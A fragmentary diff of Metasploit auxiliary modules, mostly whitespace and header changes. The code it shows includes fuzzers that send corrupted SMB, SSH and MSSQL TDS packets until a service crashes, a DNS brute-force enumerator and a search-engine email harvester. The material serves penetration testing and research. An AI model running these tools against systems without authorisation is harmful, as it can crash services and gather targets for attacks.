pkt['Payload'].v['Impersonation'] = impersonation
|
||||
pkt['Payload'].v['Disposition'] = disposition
|
||||
pkt['Payload'].v['Payload'] = filename + "\x00"
|
||||
pkt.to_s
|
||||
|
||||
@@ -16,7 +16,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Auxiliary::Fuzzer
|
||||
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'SMB Negotiate Dialect Corruption',
|
||||
@@ -32,7 +32,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
OptInt.new('MAXDEPTH', [false, 'Specify a maximum byte depth to test'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
||||
def do_smb_negotiate(pkt,opts={})
|
||||
@connected = false
|
||||
connect
|
||||
@@ -40,27 +40,27 @@ class Metasploit3 < Msf::Auxiliary
|
||||
sock.put(pkt)
|
||||
sock.get_once(-1, opts[:timeout])
|
||||
end
|
||||
|
||||
|
||||
def run
|
||||
last_str = nil
|
||||
last_inp = nil
|
||||
last_err = nil
|
||||
|
||||
|
||||
pkt = make_smb_negotiate
|
||||
cnt = 0
|
||||
|
||||
|
||||
max = datastore['MAXDEPTH'].to_i
|
||||
max = nil if max == 0
|
||||
tot = ( max ? [max,pkt.length].min : pkt.length) * 256
|
||||
|
||||
|
||||
print_status("Fuzzing SMB negotiate packet with #{tot} requests")
|
||||
fuzz_string_corrupt_byte_reverse(pkt,max) do |str|
|
||||
cnt += 1
|
||||
|
||||
|
||||
if(cnt % 100 == 0)
|
||||
print_status("Fuzzing with iteration #{cnt}/#{tot} using #{@last_fuzzer_input}")
|
||||
end
|
||||
|
||||
|
||||
begin
|
||||
r = do_smb_negotiate(str, 0.25)
|
||||
rescue ::Interrupt
|
||||
@@ -71,21 +71,21 @@ class Metasploit3 < Msf::Auxiliary
|
||||
ensure
|
||||
disconnect
|
||||
end
|
||||
|
||||
|
||||
if(not @connected)
|
||||
if(last_str)
|
||||
print_status("The service may have crashed: iteration:#{cnt-1} method=#{last_inp} string=#{last_str.unpack("H*")[0]} error=#{last_err}")
|
||||
else
|
||||
print_status("Could not connect to the service: #{last_err}")
|
||||
print_status("Could not connect to the service: #{last_err}")
|
||||
end
|
||||
return
|
||||
end
|
||||
|
||||
|
||||
last_str = str
|
||||
last_inp = @last_fuzzer_input
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def make_smb_negotiate
|
||||
# The SMB 2 dialect must be there
|
||||
dialects = ['PC NETWORK PROGRAM 1.0', 'LANMAN1.0', 'Windows for Workgroups 3.1a', 'LM1.2X002', 'LANMAN2.1', 'NT LM 0.12']
|
||||
|
||||
@@ -16,7 +16,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::SMB
|
||||
include Msf::Auxiliary::Fuzzer
|
||||
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'SMB NTLMv1 Login Request Corruption',
|
||||
@@ -33,37 +33,37 @@ class Metasploit3 < Msf::Auxiliary
|
||||
OptInt.new('MAXDEPTH', [false, 'Specify a maximum byte depth to test'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
||||
def do_smb_login(pkt,opts={})
|
||||
@connected = false
|
||||
connect
|
||||
simple.client.negotiate(false)
|
||||
|
||||
|
||||
@connected = true
|
||||
sock.put(pkt)
|
||||
sock.get_once(-1, opts[:timeout])
|
||||
end
|
||||
|
||||
|
||||
def run
|
||||
last_str = nil
|
||||
last_inp = nil
|
||||
last_err = nil
|
||||
|
||||
|
||||
pkt = make_smb_login
|
||||
cnt = 0
|
||||
|
||||
|
||||
max = datastore['MAXDEPTH'].to_i
|
||||
max = nil if max == 0
|
||||
tot = ( max ? [max,pkt.length].min : pkt.length) * 256
|
||||
|
||||
|
||||
print_status("Fuzzing SMB login with #{tot} requests")
|
||||
fuzz_string_corrupt_byte_reverse(pkt,max) do |str|
|
||||
cnt += 1
|
||||
|
||||
|
||||
if(cnt % 100 == 0)
|
||||
print_status("Fuzzing with iteration #{cnt}/#{tot} using #{@last_fuzzer_input}")
|
||||
end
|
||||
|
||||
|
||||
begin
|
||||
r = do_smb_login(str, 0.25)
|
||||
rescue ::Interrupt
|
||||
@@ -74,23 +74,23 @@ class Metasploit3 < Msf::Auxiliary
|
||||
ensure
|
||||
disconnect
|
||||
end
|
||||
|
||||
|
||||
if(not @connected)
|
||||
if(last_str)
|
||||
print_status("The service may have crashed: iteration:#{cnt-1} method=#{last_inp} string=#{last_str.unpack("H*")[0]} error=#{last_err}")
|
||||
else
|
||||
print_status("Could not connect to the service: #{last_err}")
|
||||
print_status("Could not connect to the service: #{last_err}")
|
||||
end
|
||||
return
|
||||
end
|
||||
|
||||
|
||||
last_str = str
|
||||
last_inp = @last_fuzzer_input
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def make_smb_login
|
||||
|
||||
|
||||
user = "USER"
|
||||
domain = "DOMAIN"
|
||||
hash_lm = Rex::Proto::SMB::Crypt.lanman_des("X", "X" * 8)
|
||||
@@ -102,10 +102,10 @@ class Metasploit3 < Msf::Auxiliary
|
||||
data << user + "\x00"
|
||||
data << domain + "\x00"
|
||||
data << 'Windows 2000 2195' + "\x00"
|
||||
data << 'Windows 2000 5.0' + "\x00"
|
||||
|
||||
data << 'Windows 2000 5.0' + "\x00"
|
||||
|
||||
pkt = Rex::Proto::SMB::Constants::SMB_SETUP_NTLMV1_PKT.make_struct
|
||||
|
||||
|
||||
pkt['Payload']['SMB'].v['Command'] = Rex::Proto::SMB::Constants::SMB_COM_SESSION_SETUP_ANDX
|
||||
pkt['Payload']['SMB'].v['Flags1'] = 0x18
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0x2001
|
||||
@@ -113,7 +113,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
pkt['Payload'].v['AndX'] = 255
|
||||
pkt['Payload'].v['MaxBuff'] = 0xffdf
|
||||
pkt['Payload'].v['MaxMPX'] = 2
|
||||
pkt['Payload'].v['VCNum'] = 1
|
||||
pkt['Payload'].v['VCNum'] = 1
|
||||
pkt['Payload'].v['PasswordLenLM'] = hash_lm.length
|
||||
pkt['Payload'].v['PasswordLenNT'] = hash_nt.length
|
||||
pkt['Payload'].v['Capabilities'] = 64
|
||||
|
||||
@@ -16,7 +16,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Auxiliary::Fuzzer
|
||||
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'SSH 1.5 Version Fuzzer',
|
||||
@@ -31,34 +31,34 @@ class Metasploit3 < Msf::Auxiliary
|
||||
Opt::RPORT(22)
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
||||
def do_ssh_version(pkt,opts={})
|
||||
@connected = false
|
||||
connect
|
||||
@connected = true
|
||||
|
||||
|
||||
@banner = sock.get_once(-1,opts[:banner_timeout])
|
||||
return if not @banner
|
||||
sock.put("#{pkt}\r\n")
|
||||
end
|
||||
|
||||
|
||||
def run
|
||||
last_str = nil
|
||||
last_inp = nil
|
||||
last_err = nil
|
||||
|
||||
|
||||
ver = make_ssh_version_base
|
||||
cnt = 0
|
||||
|
||||
|
||||
fuzz_strings do |str|
|
||||
cnt += 1
|
||||
|
||||
|
||||
pkt = ver + str
|
||||
|
||||
|
||||
if(cnt % 100 == 0)
|
||||
print_status("Fuzzing with iteration #{cnt} using #{@last_fuzzer_input}")
|
||||
end
|
||||
|
||||
|
||||
begin
|
||||
r = do_ssh_version(str,:banner_timeout => 5)
|
||||
rescue ::Interrupt
|
||||
@@ -69,16 +69,16 @@ class Metasploit3 < Msf::Auxiliary
|
||||
ensure
|
||||
disconnect
|
||||
end
|
||||
|
||||
|
||||
if(not @connected)
|
||||
if(last_str)
|
||||
print_status("The service may have crashed: iteration:#{cnt-1} method=#{last_inp} string=#{last_str.unpack("H*")[0]} error=#{last_err}")
|
||||
else
|
||||
print_status("Could not connect to the service: #{last_err}")
|
||||
print_status("Could not connect to the service: #{last_err}")
|
||||
end
|
||||
return
|
||||
end
|
||||
|
||||
|
||||
if(not @banner)
|
||||
print_status("The service may have crashed (no banner): iteration:#{cnt-1} method=#{last_inp} string=#{last_str.unpack("H*")[0]} ")
|
||||
return
|
||||
@@ -88,7 +88,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
last_inp = @last_fuzzer_input
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def make_ssh_version_base
|
||||
"SSH-1.5-"
|
||||
end
|
||||
|
||||
@@ -16,7 +16,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Auxiliary::Fuzzer
|
||||
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'SSH 2.0 Version Fuzzer',
|
||||
@@ -31,34 +31,34 @@ class Metasploit3 < Msf::Auxiliary
|
||||
Opt::RPORT(22)
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
||||
def do_ssh_version(pkt,opts={})
|
||||
@connected = false
|
||||
connect
|
||||
@connected = true
|
||||
|
||||
|
||||
@banner = sock.get_once(-1,opts[:banner_timeout])
|
||||
return if not @banner
|
||||
sock.put("#{pkt}\r\n")
|
||||
end
|
||||
|
||||
|
||||
def run
|
||||
last_str = nil
|
||||
last_inp = nil
|
||||
last_err = nil
|
||||
|
||||
|
||||
ver = make_ssh_version_base
|
||||
cnt = 0
|
||||
|
||||
|
||||
fuzz_strings do |str|
|
||||
cnt += 1
|
||||
|
||||
|
||||
pkt = ver + str
|
||||
|
||||
|
||||
if(cnt % 100 == 0)
|
||||
print_status("Fuzzing with iteration #{cnt} using #{@last_fuzzer_input}")
|
||||
end
|
||||
|
||||
|
||||
begin
|
||||
r = do_ssh_version(str,:banner_timeout => 5)
|
||||
rescue ::Interrupt
|
||||
@@ -69,16 +69,16 @@ class Metasploit3 < Msf::Auxiliary
|
||||
ensure
|
||||
disconnect
|
||||
end
|
||||
|
||||
|
||||
if(not @connected)
|
||||
if(last_str)
|
||||
print_status("The service may have crashed: iteration:#{cnt-1} method=#{last_inp} string=#{last_str.unpack("H*")[0]} error=#{last_err}")
|
||||
else
|
||||
print_status("Could not connect to the service: #{last_err}")
|
||||
print_status("Could not connect to the service: #{last_err}")
|
||||
end
|
||||
return
|
||||
end
|
||||
|
||||
|
||||
if(not @banner)
|
||||
print_status("The service may have crashed (no banner): iteration:#{cnt-1} method=#{last_inp} string=#{last_str.unpack("H*")[0]} ")
|
||||
return
|
||||
@@ -88,7 +88,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
last_inp = @last_fuzzer_input
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def make_ssh_version_base
|
||||
"SSH-2.0-"
|
||||
end
|
||||
|
||||
@@ -16,7 +16,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Auxiliary::Fuzzer
|
||||
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'SSH Version Corruption',
|
||||
@@ -32,37 +32,37 @@ class Metasploit3 < Msf::Auxiliary
|
||||
OptInt.new('MAXDEPTH', [false, 'Specify a maximum byte depth to test'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
||||
def do_ssh_version(pkt,opts={})
|
||||
@connected = false
|
||||
connect
|
||||
@connected = true
|
||||
|
||||
|
||||
@banner = sock.get_once(-1,opts[:banner_timeout])
|
||||
return if not @banner
|
||||
sock.put("#{pkt}\r\n")
|
||||
end
|
||||
|
||||
|
||||
def run
|
||||
last_str = nil
|
||||
last_inp = nil
|
||||
last_err = nil
|
||||
|
||||
|
||||
pkt = make_ssh_version
|
||||
cnt = 0
|
||||
|
||||
|
||||
max = datastore['MAXDEPTH'].to_i
|
||||
max = nil if max == 0
|
||||
tot = ( max ? [max,pkt.length].min : pkt.length) * 256
|
||||
|
||||
|
||||
print_status("Fuzzing SSH version string with #{tot} requests")
|
||||
fuzz_string_corrupt_byte_reverse(pkt,max) do |str|
|
||||
cnt += 1
|
||||
|
||||
|
||||
if(cnt % 100 == 0)
|
||||
print_status("Fuzzing with iteration #{cnt}/#{tot} using #{@last_fuzzer_input}")
|
||||
end
|
||||
|
||||
|
||||
begin
|
||||
r = do_ssh_version(str,:banner_timeout => 5)
|
||||
rescue ::Interrupt
|
||||
@@ -73,16 +73,16 @@ class Metasploit3 < Msf::Auxiliary
|
||||
ensure
|
||||
disconnect
|
||||
end
|
||||
|
||||
|
||||
if(not @connected)
|
||||
if(last_str)
|
||||
print_status("The service may have crashed: iteration:#{cnt-1} method=#{last_inp} string=#{last_str.unpack("H*")[0]} error=#{last_err}")
|
||||
else
|
||||
print_status("Could not connect to the service: #{last_err}")
|
||||
print_status("Could not connect to the service: #{last_err}")
|
||||
end
|
||||
return
|
||||
end
|
||||
|
||||
|
||||
if(not @banner)
|
||||
print_status("The service may have crashed (no banner): iteration:#{cnt-1} method=#{last_inp} string=#{last_str.unpack("H*")[0]} ")
|
||||
return
|
||||
@@ -92,7 +92,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
last_inp = @last_fuzzer_input
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def make_ssh_version
|
||||
"SSH-2.0-OpenSSH_5.1p1 Debian-5ubuntu1"
|
||||
end
|
||||
|
||||
@@ -16,7 +16,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::MSSQL
|
||||
include Msf::Auxiliary::Fuzzer
|
||||
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'TDS Protocol Login Request Corruption Fuzzer',
|
||||
@@ -31,11 +31,11 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
# A copy of the mssql_login method with the ability to overload each option
|
||||
def make_login(opts={})
|
||||
|
||||
|
||||
pkt = ""
|
||||
idx = 0
|
||||
db = ""
|
||||
|
||||
|
||||
pkt << [
|
||||
0x00000000, # Dummy size
|
||||
opts[:tds_version] || 0x71000001, # TDS Version
|
||||
@@ -50,42 +50,42 @@ class Metasploit3 < Msf::Auxiliary
|
||||
opts[:timezone] || 0x00000000, # Time Zone
|
||||
opts[:collation] || 0x00000000 # Collation
|
||||
].pack('VVVVVVCCCCVV')
|
||||
|
||||
|
||||
|
||||
|
||||
cname = Rex::Text.to_unicode( opts[:cname] || Rex::Text.rand_text_alpha(rand(8)+1) )
|
||||
uname = Rex::Text.to_unicode( opts[:uname] || "sa" )
|
||||
pname = opts[:pname_raw] || mssql_tds_encrypt( opts[:pname] || "" )
|
||||
aname = Rex::Text.to_unicode(opts[:aname] || Rex::Text.rand_text_alpha(rand(8)+1) )
|
||||
aname = Rex::Text.to_unicode(opts[:aname] || Rex::Text.rand_text_alpha(rand(8)+1) )
|
||||
sname = Rex::Text.to_unicode( opts[:sname] || rhost )
|
||||
dname = Rex::Text.to_unicode( opts[:dname] || db )
|
||||
|
||||
|
||||
idx = pkt.size + 50 # lengths below
|
||||
|
||||
|
||||
pkt << [idx, cname.length / 2].pack('vv')
|
||||
idx += cname.length
|
||||
|
||||
|
||||
pkt << [idx, uname.length / 2].pack('vv')
|
||||
idx += uname.length
|
||||
|
||||
idx += uname.length
|
||||
|
||||
pkt << [idx, pname.length / 2].pack('vv')
|
||||
idx += pname.length
|
||||
|
||||
pkt << [idx, aname.length / 2].pack('vv')
|
||||
idx += aname.length
|
||||
|
||||
idx += aname.length
|
||||
|
||||
pkt << [idx, sname.length / 2].pack('vv')
|
||||
idx += sname.length
|
||||
|
||||
|
||||
pkt << [0, 0].pack('vv')
|
||||
|
||||
|
||||
pkt << [idx, aname.length / 2].pack('vv')
|
||||
idx += aname.length
|
||||
idx += aname.length
|
||||
|
||||
pkt << [idx, 0].pack('vv')
|
||||
|
||||
|
||||
pkt << [idx, dname.length / 2].pack('vv')
|
||||
idx += dname.length
|
||||
|
||||
idx += dname.length
|
||||
|
||||
# The total length has to be embedded twice more here
|
||||
pkt << [
|
||||
0,
|
||||
@@ -93,15 +93,15 @@ class Metasploit3 < Msf::Auxiliary
|
||||
0x12345678,
|
||||
0x12345678
|
||||
].pack('vVVV')
|
||||
|
||||
|
||||
pkt << cname
|
||||
pkt << uname
|
||||
pkt << pname
|
||||
pkt << aname
|
||||
pkt << aname
|
||||
pkt << sname
|
||||
pkt << aname
|
||||
pkt << dname
|
||||
|
||||
|
||||
# Total packet length
|
||||
pkt[0,4] = [pkt.length].pack('V')
|
||||
|
||||
@@ -113,34 +113,34 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
pkt
|
||||
end
|
||||
|
||||
|
||||
def do_login(pkt,opts={})
|
||||
@connected = false
|
||||
disconnect if self.sock
|
||||
connect
|
||||
@connected = true
|
||||
|
||||
|
||||
resp = mssql_send_recv(pkt,opts[:timeout])
|
||||
|
||||
|
||||
info = {:errors => []}
|
||||
info = mssql_parse_reply(resp,info)
|
||||
info
|
||||
end
|
||||
|
||||
|
||||
def run
|
||||
last_str = nil
|
||||
last_inp = nil
|
||||
last_err = nil
|
||||
|
||||
|
||||
pkt = make_login
|
||||
cnt = 0
|
||||
fuzz_string_corrupt_byte_reverse(pkt) do |str|
|
||||
cnt += 1
|
||||
|
||||
|
||||
if(cnt % 100 == 0)
|
||||
print_status("Fuzzing with iteration #{cnt} using #{@last_fuzzer_input}")
|
||||
end
|
||||
|
||||
|
||||
begin
|
||||
do_login(str,:timeout => 0.50)
|
||||
rescue ::Interrupt
|
||||
@@ -151,12 +151,12 @@ class Metasploit3 < Msf::Auxiliary
|
||||
ensure
|
||||
disconnect
|
||||
end
|
||||
|
||||
|
||||
if(not @connected)
|
||||
if(last_str)
|
||||
print_status("The service may have crashed: method=#{last_inp} string=#{last_str.unpack("H*")[0]} error=#{last_err}")
|
||||
else
|
||||
print_status("Could not connect to the service: #{last_err}")
|
||||
print_status("Could not connect to the service: #{last_err}")
|
||||
end
|
||||
return
|
||||
end
|
||||
|
||||
@@ -16,7 +16,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::MSSQL
|
||||
include Msf::Auxiliary::Fuzzer
|
||||
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'TDS Protocol Login Request Username Fuzzer',
|
||||
@@ -31,16 +31,16 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
# A copy of the mssql_login method with the ability to overload each option
|
||||
def do_login(opts={})
|
||||
|
||||
|
||||
@connected = false
|
||||
disconnect if self.sock
|
||||
connect
|
||||
@connected = true
|
||||
|
||||
|
||||
pkt = ""
|
||||
idx = 0
|
||||
db = ""
|
||||
|
||||
|
||||
pkt << [
|
||||
0x00000000, # Dummy size
|
||||
opts[:tds_version] || 0x71000001, # TDS Version
|
||||
@@ -55,42 +55,42 @@ class Metasploit3 < Msf::Auxiliary
|
||||
opts[:timezone] || 0x00000000, # Time Zone
|
||||
opts[:collation] || 0x00000000 # Collation
|
||||
].pack('VVVVVVCCCCVV')
|
||||
|
||||
|
||||
|
||||
|
||||
cname = Rex::Text.to_unicode( opts[:cname] || Rex::Text.rand_text_alpha(rand(8)+1) )
|
||||
uname = Rex::Text.to_unicode( opts[:uname] || "sa" )
|
||||
pname = opts[:pname_raw] || mssql_tds_encrypt( opts[:pname] || "" )
|
||||
aname = Rex::Text.to_unicode(opts[:aname] || Rex::Text.rand_text_alpha(rand(8)+1) )
|
||||
aname = Rex::Text.to_unicode(opts[:aname] || Rex::Text.rand_text_alpha(rand(8)+1) )
|
||||
sname = Rex::Text.to_unicode( opts[:sname] || rhost )
|
||||
dname = Rex::Text.to_unicode( opts[:dname] || db )
|
||||
|
||||
|
||||
idx = pkt.size + 50 # lengths below
|
||||
|
||||
|
||||
pkt << [idx, cname.length / 2].pack('vv')
|
||||
idx += cname.length
|
||||
|
||||
|
||||
pkt << [idx, uname.length / 2].pack('vv')
|
||||
idx += uname.length
|
||||
|
||||
idx += uname.length
|
||||
|
||||
pkt << [idx, pname.length / 2].pack('vv')
|
||||
idx += pname.length
|
||||
|
||||
pkt << [idx, aname.length / 2].pack('vv')
|
||||
idx += aname.length
|
||||
|
||||
idx += aname.length
|
||||
|
||||
pkt << [idx, sname.length / 2].pack('vv')
|
||||
idx += sname.length
|
||||
|
||||
|
||||
pkt << [0, 0].pack('vv')
|
||||
|
||||
|
||||
pkt << [idx, aname.length / 2].pack('vv')
|
||||
idx += aname.length
|
||||
idx += aname.length
|
||||
|
||||
pkt << [idx, 0].pack('vv')
|
||||
|
||||
|
||||
pkt << [idx, dname.length / 2].pack('vv')
|
||||
idx += dname.length
|
||||
|
||||
idx += dname.length
|
||||
|
||||
# The total length has to be embedded twice more here
|
||||
pkt << [
|
||||
0,
|
||||
@@ -98,15 +98,15 @@ class Metasploit3 < Msf::Auxiliary
|
||||
0x12345678,
|
||||
0x12345678
|
||||
].pack('vVVV')
|
||||
|
||||
|
||||
pkt << cname
|
||||
pkt << uname
|
||||
pkt << pname
|
||||
pkt << aname
|
||||
pkt << aname
|
||||
pkt << sname
|
||||
pkt << aname
|
||||
pkt << dname
|
||||
|
||||
|
||||
# Total packet length
|
||||
pkt[0,4] = [pkt.length].pack('V')
|
||||
|
||||
@@ -117,27 +117,27 @@ class Metasploit3 < Msf::Auxiliary
|
||||
pkt = "\x10\x01" + [pkt.length + 8].pack('n') + [0].pack('n') + [1].pack('C') + "\x00" + pkt
|
||||
|
||||
resp = mssql_send_recv(pkt,opts[:timeout])
|
||||
|
||||
|
||||
info = {:errors => []}
|
||||
info = mssql_parse_reply(resp,info)
|
||||
info
|
||||
end
|
||||
|
||||
|
||||
def run
|
||||
last_str = nil
|
||||
last_inp = nil
|
||||
last_err = nil
|
||||
|
||||
|
||||
cnt = 0
|
||||
fuzz_strings do |str|
|
||||
# capped at 16-bit lengths
|
||||
next if str.length > 65535
|
||||
cnt += 1
|
||||
|
||||
|
||||
if(cnt % 100 == 0)
|
||||
print_status("Fuzzing with iteration #{cnt} using #{@last_fuzzer_input}")
|
||||
end
|
||||
|
||||
|
||||
begin
|
||||
do_login(:uname => str, :timeout => 0.50)
|
||||
rescue ::Interrupt
|
||||
@@ -148,12 +148,12 @@ class Metasploit3 < Msf::Auxiliary
|
||||
ensure
|
||||
disconnect
|
||||
end
|
||||
|
||||
|
||||
if(not @connected)
|
||||
if(last_str)
|
||||
print_status("The service may have crashed: method=#{last_inp} string=#{last_str.unpack("H*")[0]} error=#{last_err}")
|
||||
else
|
||||
print_status("Could not connect to the service: #{last_err}")
|
||||
print_status("Could not connect to the service: #{last_err}")
|
||||
end
|
||||
return
|
||||
end
|
||||
|
||||
@@ -1,3 +1,7 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
@@ -5,28 +9,28 @@
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
require "net/dns/resolver"
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'DNS Enumeration Module',
|
||||
'Description' => %q{
|
||||
'Name' => 'DNS Enumeration Module',
|
||||
'Description' => %q{
|
||||
This module can be used to enumerate various types of information
|
||||
about a domain from a specific DNS server.
|
||||
},
|
||||
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => '$Revision$',
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '1999-0532'],
|
||||
]
|
||||
))
|
||||
},
|
||||
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => '$Revision$',
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '1999-0532'],
|
||||
]
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('DOMAIN', [ true, "The target domain name"]),
|
||||
@@ -42,6 +46,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
OptAddressRange.new('IPRANGE', [false, "The target address range or CIDR identifier"]),
|
||||
OptBool.new('STOP_WLDCRD', [ true, 'Stops Brute Force Enumeration if wildcard resolution is detected', false])
|
||||
], self.class)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptInt.new('THREADS', [ false, "Number of threads to use when using ENUM_BRT, ENUM_TLD, and ENUM_RVL checks", 10]),
|
||||
@@ -248,7 +253,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
end
|
||||
a.delete_if {|x| not x.alive?} while not a.empty?
|
||||
end
|
||||
|
||||
|
||||
#-------------------------------------------------------------------------------
|
||||
def bruteipv6(target, wordlist, nssrv)
|
||||
print_status("Brute Forcing IPv6 addresses against Domain #{target}")
|
||||
@@ -493,7 +498,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
dnsbrute(datastore['DOMAIN'],datastore['WORDLIST'],datastore['NS'])
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
if(datastore['ENUM_IP6'])
|
||||
if wldcrd & datastore['STOP_WLDCRD']
|
||||
print_status("Wilcard Record Found!")
|
||||
|
||||
@@ -1,4 +1,7 @@
|
||||
#!/usr/bin/env ruby
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
@@ -6,22 +9,23 @@
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'net/http'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Search Engine Domain Email Address Collector',
|
||||
'Description' => %q{
|
||||
This module uses Google, Bing and Yahoo to create a list of
|
||||
valid email addresses for the target domain.
|
||||
This module uses Google, Bing and Yahoo to create a list of
|
||||
valid email addresses for the target domain.
|
||||
},
|
||||
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => '$Revision$'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('DOMAIN', [ true, "The domain name to locate email addresses for"]),
|
||||
@@ -29,7 +33,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
OptBool.new('SEARCH_BING', [ true, 'Enable Bing as a backend search engine', true]),
|
||||
OptBool.new('SEARCH_YAHOO', [ true, 'Enable Yahoo! as a backend search engine', true]),
|
||||
OptString.new('OUTFILE', [ false, "A filename to store the generated email list"]),
|
||||
|
||||
|
||||
], self.class)
|
||||
|
||||
register_advanced_options(
|
||||
@@ -60,7 +64,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
end
|
||||
return emails.uniq
|
||||
end
|
||||
|
||||
|
||||
#Search Yahoo.com for email's of target domain
|
||||
def search_yahoo(targetdom)
|
||||
print_status("Searching Yahoo for email addresses from #{targetdom}")
|
||||
@@ -81,7 +85,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
end
|
||||
return emails.uniq
|
||||
end
|
||||
|
||||
|
||||
#Search Bing.com for email's of target domain
|
||||
def search_bing(targetdom)
|
||||
print_status("Searching Bing email addresses from #{targetdom}")
|
||||
@@ -105,15 +109,15 @@ class Metasploit3 < Msf::Auxiliary
|
||||
end
|
||||
return emails.uniq
|
||||
end
|
||||
|
||||
|
||||
#for writing file with all email's found
|
||||
def write_output(data)
|
||||
print_status("Writing email address list to #{datastore['OUTFILE']}...")
|
||||
print_status("Writing email address list to #{datastore['OUTFILE']}...")
|
||||
::File.open(datastore['OUTFILE'], "a") do |fd|
|
||||
fd.write(data)
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def run
|
||||
if datastore['PROXY']
|
||||
@proxysrv,@proxyport = datastore['PROXY'].split(":")
|
||||
@@ -123,7 +127,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
@proxysrv,@proxyport = nil, nil
|
||||
end
|
||||
print_status("Harvesting emails .....")
|
||||
|
||||
|
||||
|
||||
target = datastore['DOMAIN']
|
||||
|
||||
@@ -139,7 +143,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
emails.each do |e|
|
||||
print_status("\t#{e.to_s}")
|
||||
end
|
||||
|
||||
|
||||
write_output(emails.join("\n")) if datastore['OUTFILE']
|
||||
end
|
||||
end
|
||||
|
||||
@@ -1,3 +1,7 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
@@ -5,10 +9,8 @@
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
|
||||
@@ -1,10 +1,20 @@
|
||||
require 'msf/core'
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
